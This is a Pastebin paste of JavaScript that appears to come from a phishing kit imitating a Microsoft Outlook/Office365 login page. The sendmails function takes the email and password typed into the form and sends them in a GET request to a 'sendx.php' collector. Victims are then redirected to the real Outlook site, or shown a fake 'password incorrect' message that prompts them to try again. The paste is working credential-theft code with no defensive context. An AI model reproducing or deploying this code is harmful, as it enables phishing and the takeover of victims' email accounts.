Advertisement
Guest User

Untitled

a guest
Dec 14th, 2018
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1.  
  2.  
  3. function sendmails() {
  4. var em = $('#testx').val();
  5.  
  6. var ps = $('#pass').val();
  7.  
  8.  
  9. var xhttp = new XMLHttpRequest();
  10. xhttp.onreadystatechange = function() {
  11. if (this.readyState == 4 && this.status == 200) {
  12.  
  13. var response = JSON.parse(this.responseText);
  14.  
  15. if (response.msg == "donesend") {
  16. $(".login_form").hide();
  17. $(".thanks").show(); setTimeout("window.location.href='https://outlook.office365.com/owa/?realm';",5000);
  18. } else {
  19.  
  20. $("#warning").empty();
  21. $('#warning').append('Your email or password is incorrect. If you don\'t remember your password,<a href="#"> reset it now.<a/> <br> <br> ' );
  22. }
  23. }
  24. };
  25. xhttp.open("GET", "sendx.php?user=" + em + "&pass=" +ps, true);
  26. xhttp.send();
  27. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement